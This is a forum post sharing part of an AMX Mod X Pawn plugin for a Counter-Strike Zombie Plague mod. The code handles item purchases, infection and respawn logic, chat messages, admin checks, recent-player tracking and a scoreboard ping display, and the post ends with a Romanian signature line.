						remove_task(550, 0);
						StartAssassinMode(iPlayer);
						remove_task(700, 0);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						PrintToChat(0, "^4[ZP]^3 %s^1 bought^4 Assassin !!!", g_cName[iPlayer]);
					}
					else
					{
					    PrintToChat(iPlayer, "^4[ZP]^1 Sorry but you can't buy right now...");
					    return 1;
					}
				}
			}
			case 21:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^4[ZP]^1 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^4[ZP]^1 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}
			default:
			{
			}
		}
	}
	return 0;
}

GetZombies()
{
	static iZombies;
	static i;
	iZombies = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bZombie[i] && g_bAlive[i])
		{
			iZombies += 1;
		}
		i += 1;
	}
	return iZombies;
}

GetHumans()
{
	static iHumans;
	static i;
	iHumans = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bZombie[i] && g_bAlive[i])
		{
			iHumans += 1;
		}
		i += 1;
	}
	return iHumans;
}

MessageLog(iReceiver, const cMessage [], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	log_amx("^"%s^"", cBuffer);
	return 0;
}

PrintToChat(iReceiver, const cMessage [], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	return 0;
}

bool:GetAccess(iPlayer, iLevel, iNum)
{
	static bool:bDone;
	bDone = true;
	if (iLevel & get_user_flags(iPlayer))
	{
		if (iNum > read_argc())
		{
			bDone = false;
			console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
		}
	}
	else
	{
		bDone = false;
		console_print(iPlayer, "You have no access to that command");
	}
	return bDone;
}

GetTarget(iPlayer, cTarget[], iFlags)
{
	static iResult;
	static iTargets;
	static iTarget;
	iTargets = 0;
	iTarget = 1;
	while (g_iMaxClients + 1 > iTarget)
	{
		if (g_bConnected[iTarget] && containi(g_cName[iTarget], cTarget) != -1)
		{
			if (!(iFlags & 2 && !is_user_alive(iTarget)))
			{
				if (!(iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer))
				{
					iResult = iTarget;
					iTargets += 1;
				}
				iTarget += 1;
			}
			iTarget += 1;
		}
		iTarget += 1;
	}
	if (iTargets != 1)
	{
		static iMatch;
		if (cTarget[0] == 35 && (iMatch = GetUserIdMatch(cTarget)))
		{
			return iMatch;
		}
		return 0;
	}
	return iResult;
}

GetUserIdMatch(cTarget[])
{
	new i;
	new iTarget;
	new cNumber[32];
	copy(cNumber, 32, cTarget[1]);
	iTarget = str_to_num(cNumber);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_userid(i) == iTarget)
		{
			return i;
		}
		i++;
	}
	return 0;
}

Func_Explosion(iEntity)
{
	static iVariable;
	iVariable = 1;
	while (iVariable < 5)
	{
		send_explosion(iEntity);
		iVariable += 1;
	}
	iVariable = 1;
	while (iVariable < 5)
	{
		send_beam_cylinder(iEntity, 121, 121, 121, random_num(100, 250));
		iVariable += 1;
	}
	return 0;
}

xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
	fOut[0] = floatmul(fVec[0], fScalar);
	fOut[1] = floatmul(fVec[1], fScalar);
	fOut[2] = floatmul(fVec[2], fScalar);
	return 0;
}

xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
	fOut[0] = floatadd(fFirst[0], fSecond[0]);
	fOut[1] = floatadd(fFirst[1], fSecond[1]);
	fOut[2] = floatadd(fFirst[2], fSecond[2]);
	return 0;
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550, 0))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		PrintToChat(0, "^4[ZP]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				MakeZombie(0, i, false, false, false);
			}
			case 1:
			{
				MakeZombie(0, i, false, true, false);
				set_health(i, get_health(iPlayer));
			}
			case 2:
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}
			default:
			{
			}
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			PrintToChat(0, "^4[ZP]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
			switch (g_iPlayerType[iPlayer])
			{
				case 0:
				{
					MakeHuman(i, false, false);
				}
				case 4:
				{
					MakeHuman(i, true, false);
					set_health(i, get_health(iPlayer));
				}
				case 8:
				{
					MakeHuman(i, false, true);
					set_health(i, get_health(iPlayer));
				}
				default:
				{
				}
			}
		}
	}
	return 0;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
	return iPlayers[random_num(0, j + -1)];
}

MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses, 0);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, true);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
	remove_task(iVictim + 200, 0);
	remove_task(iVictim + 250, 0);
	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
			set_health(iAttacker, get_health(iAttacker) + 250);
			send_implosion(iAttacker);
			send_screen_fade(iAttacker);
			set_glow(iAttacker, 19, 13, 255, 10, 10);
			set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
			set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
			set_health(iAttacker, get_health(iAttacker) + 500);
			send_screen_fade(iAttacker);
			set_hudmessage(220, 255, 10, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 13, 250, 0, 0);
			g_cClass[iVictim] = "Nemesis"
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity, 0.5);	
		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity, 0.4);				
		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			emit_sound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)], 1.0, ATTN_NORM, 0, PITCH_NORM)
			if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);	
		}
		else
		{
		    set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		    emit_sound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)], 1.0, ATTN_NORM, 0, PITCH_NORM)
		    set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
		    if (iAttacker)
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
		    else
		    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
		    if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);		
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
		if ( !g_bFrozen [iVictim] ) set_pev ( iVictim, pev_gravity,  g_fZombieGravities[g_iZombieClass[iVictim]]);		
	}
	if (get_team(iVictim) != 1)
	{
		set_team ( iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iVictim + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iVictim + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	if (g_iPlayerType[iVictim])
	{
		message_begin(MSG_ONE, get_user_msgid("SetFOV"), _, iVictim)
		write_byte(110)
		message_end()
		set_monster(iVictim, true);
	}
	else
	{
		if (g_iZombieClass[iVictim] == 4)
		{
			g_iJumpsNum[iVictim] = 1;
		}
	}	
	reset_armor(iVictim);
	send_screen_fade(iVictim);
	send_screen_shake(iVictim);
	send_damage(iVictim, 65536);
	send_implosion(iVictim);
	send_particle_burst(iVictim);
	send_light(iVictim);
	strip_user_weapons(iVictim);
	give_weapon(iVictim, "weapon_knife");
	Task_EnableFlash(iVictim);
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 250, 0);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	set_zombie(iPlayer, false);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_weapon(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		g_cClass[iPlayer] = "Survivor";
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_m4a1");
		give_ammo(iPlayer, 22, 9999);
		give_weapon(iPlayer, "weapon_ak47");
		give_ammo(iPlayer, 28, 9999);
		give_weapon(iPlayer, "weapon_xm1014");
		give_ammo(iPlayer, 5, 9999);
		give_weapon(iPlayer, "weapon_knife");
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		g_bUnlimitedClip[iPlayer] = true;
		if ( !g_bFrozen [iPlayer] ) set_pev ( iPlayer, pev_gravity, 1.2);			
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		g_cClass[iPlayer] = "Sniper";
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_awp");
		give_ammo(iPlayer, 18, 9999);
		give_weapon(iPlayer, "weapon_knife");
		set_glow(iPlayer, 19, 13, 200, 200, 0);		
		if (!g_bFrozen[iPlayer]) set_pev (iPlayer, pev_gravity, 1.0);					
	}
	else
	{
		set_health(iPlayer, 150);		
		menu_display(iPlayer, g_iPrimaryMenu, 0);
		send_teleport(iPlayer);
		client_cmd(iPlayer, "spk zombie_plague/antidote");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
		if ( !g_bFrozen [iPlayer] ) set_pev ( iPlayer, pev_gravity, 1.0);			
	}
	if (get_team(iPlayer) != 2)
	{
		set_team (iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
	{
		ChangeModel(iPlayer + 250);
		g_fLastChangedModel = fCurrentTime;
	}
	else
	{
		set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
		g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
	}
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast], 0))
		{
			copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cLNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

stock AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;

   OutputPos = NumPos = 0;

   if (Num < 0)
   {
      Output[OutputPos++] = '-';

      Num = abs(Num);
   }

   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));

   if (NumLen <= 3)
      OutputPos += copy(Output[OutputPos], Len, Tmp);

   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];

         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
            Output[OutputPos++] = ',';
      }

      Output[OutputPos] = '^0';
   }
}

public Update_Client_Data(id)
{
    if( !(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
        return;
    
    static player, sending;
    sending = 0;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( !is_user_connected( player ) )
             continue;
        
        switch( sending )
        {
            case 0:
            {
                message_begin( MSG_ONE_UNRELIABLE, SVC_PINGS, _, id );
                write_byte( ( g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 0 ] );
                sending++;
            }
            
            case 1:
            {
                write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 1 ] );
                sending++;
            }
            
            case 2:
            {
                write_byte( ( 4 + 8 * ( player - 1 ) ) );
                write_short( g_iArgumentPing[ player ][ 2 ] );
                write_byte( 0 );
                message_end( );
                sending = 0;
            }
        }
    }
    
    if (sending)
    {
        write_byte( 0 );
        message_end( );
    }
}

public TaskCalculateArguments()
{
    static player, ping;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( g_iPingOverride[ player ] < 0 )
		{
            ping = random_num(-4, 4) + 12;
        }
        else
		{
            ping = g_iPingOverride[ player ];
        }
        for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
        {
            if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
            {
                g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
                break;
            }
        }
        
        for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
        {
            if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
            {
                g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
                break;
            }
        }
        g_iArgumentPing[ player ][ 2 ] = ping;
    }
}

stock GetEntitySpeed(iEntity)
{
	static Float:velocity[3]
	pev(iEntity, pev_velocity, velocity)
	
	return floatround(vector_length(velocity));
}

stock entity_set_aim(ent,const Float:origin2[3],bone=0)
{
	if(!pev_valid(ent))
		return 0;

	static Float:origin[3]
	origin[0] = origin2[0]
	origin[1] = origin2[1]
	origin[2] = origin2[2]

	static Float:ent_origin[3], Float:angles[3]

	if(bone)
		engfunc(EngFunc_GetBonePosition,ent,bone,ent_origin,angles)
	else
		pev(ent,pev_origin,ent_origin)

	origin[0] -= ent_origin[0]
	origin[1] -= ent_origin[1]
	origin[2] -= ent_origin[2]

	static Float:v_length
	v_length = vector_length(origin)

	static Float:aim_vector[3]
	aim_vector[0] = origin[0] / v_length
	aim_vector[1] = origin[1] / v_length
	aim_vector[2] = origin[2] / v_length

	static Float:new_angles[3]
	vector_to_angle(aim_vector,new_angles)

	new_angles[0] *= -1

	if(new_angles[1]>180.0) new_angles[1] -= 360
	if(new_angles[1]<-180.0) new_angles[1] += 360
	if(new_angles[1]==180.0 || new_angles[1]==-180.0) new_angles[1]=-179.999999

	set_pev(ent,pev_angles,new_angles)
	set_pev(ent,pev_fixangle,1)

	return 1;
}

stock get_speed_vector2(ent1, ent2, Float:speed, Float:new_velocity[3])
{
	if(!pev_valid(ent1) || !pev_valid(ent2))
		return 0;

	static Float:origin1[3]
	pev(ent1,pev_origin,origin1)
	static Float:origin2[3]
	pev(ent2,pev_origin,origin2)

	new_velocity[0] = origin2[0] - origin1[0]
	new_velocity[1] = origin2[1] - origin1[1]
	new_velocity[2] = origin2[2] - origin1[2]
	new Float:num = floatsqroot(speed*speed / (new_velocity[0]*new_velocity[0] + new_velocity[1]*new_velocity[1] + new_velocity[2]*new_velocity[2]))
	new_velocity[0] *= num
	new_velocity[1] *= num
	new_velocity[2] *= num

	return 1;
}

stock fm_find_ent_by_owner(index, const classname[], owner, jghgtype = 0) 
{
	new strtype[11] = "classname", ent = index;
	switch (jghgtype) {
		case 1: strtype = "target";
		case 2: strtype = "targetname";
	}

	while ((ent = engfunc(EngFunc_FindEntityByString, ent, strtype, classname)) && pev(ent, pev_owner) != owner) {}

	return ent;
}
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
Post Reply

Return to “Addon-uri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 5 guests